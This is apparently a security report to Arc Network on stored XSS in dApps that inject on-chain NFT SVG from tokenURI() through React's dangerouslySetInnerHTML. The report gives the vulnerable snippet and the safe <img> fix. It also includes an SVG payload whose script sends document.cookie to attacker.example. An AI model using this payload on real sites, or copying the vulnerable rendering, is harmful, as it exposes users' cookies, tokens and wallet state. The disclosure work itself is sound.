Summary
Arc Network's ecosystem promotes returning base64-encoded inline SVG directly from ERC-721 tokenURI() (e.g. for NFT payment receipts). While elegant for on-chain storage, the SVG content is attacker-controlled — any address that triggers an NFT mint can embed <script> tags or event handlers inside the SVG.
If a dApp renders this SVG by injecting it into the DOM — a very common mistake — the result is stored XSS: the malicious SVG executes in the dApp's origin, gaining access to wallet state, localStorage, cookies, and auth tokens.
Reproduced while building ArcPay's NFT receipt gallery
Our initial implementation used React's dangerouslySetInnerHTML to render the tokenURI SVG inline:
// VULNERABLE — executes any <script> or onerror handler inside the SVG
<div dangerouslySetInnerHTML={{ __html: atob(nft.image.split(",")[1]) }} />
An attacker who funds any invoice can encode the following SVG into the on-chain tokenURI:
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>
<rect width="100%" height="100%" fill="white"/>
</svg>
This SVG is stored immutably on-chain via tokenURI() and executes for every user who visits the NFT gallery page.
Root cause
The browser sandboxes SVG loaded via <img src="data:image/svg+xml;base64,..."> — scripts inside cannot access the parent document. But SVG injected via innerHTML / dangerouslySetInnerHTML is fully trusted and can execute scripts.
Safe rendering (fixed in ArcPay)
// SAFE — browser sandboxes SVG loaded as an image source
<img src={nft.image} alt={nft.name} />
Suggested Arc Network action
- Add a security note to NFT / tokenURI documentation warning explicitly against
innerHTML / dangerouslySetInnerHTML for on-chain SVG
- Provide a canonical safe rendering snippet for React, Next.js, and vanilla JS
- Consider an
<iframe sandbox> alternative for cases where interactive SVG is needed
Severity: HIGH — stored XSS, on-chain and permanent, affects all visitors to any dApp rendering these NFTs
Environment: Arc Testnet, React 19, ERC-721 contract with base64 inline-SVG tokenURI()
Summary
Arc Network's ecosystem promotes returning base64-encoded inline SVG directly from ERC-721
tokenURI()(e.g. for NFT payment receipts). While elegant for on-chain storage, the SVG content is attacker-controlled — any address that triggers an NFT mint can embed<script>tags or event handlers inside the SVG.If a dApp renders this SVG by injecting it into the DOM — a very common mistake — the result is stored XSS: the malicious SVG executes in the dApp's origin, gaining access to wallet state, localStorage, cookies, and auth tokens.
Reproduced while building ArcPay's NFT receipt gallery
Our initial implementation used React's
dangerouslySetInnerHTMLto render the tokenURI SVG inline:An attacker who funds any invoice can encode the following SVG into the on-chain tokenURI:
This SVG is stored immutably on-chain via
tokenURI()and executes for every user who visits the NFT gallery page.Root cause
The browser sandboxes SVG loaded via
<img src="data:image/svg+xml;base64,...">— scripts inside cannot access the parent document. But SVG injected viainnerHTML/dangerouslySetInnerHTMLis fully trusted and can execute scripts.Safe rendering (fixed in ArcPay)
Suggested Arc Network action
innerHTML/dangerouslySetInnerHTMLfor on-chain SVG<iframe sandbox>alternative for cases where interactive SVG is neededSeverity: HIGH — stored XSS, on-chain and permanent, affects all visitors to any dApp rendering these NFTs
Environment: Arc Testnet, React 19, ERC-721 contract with base64 inline-SVG
tokenURI()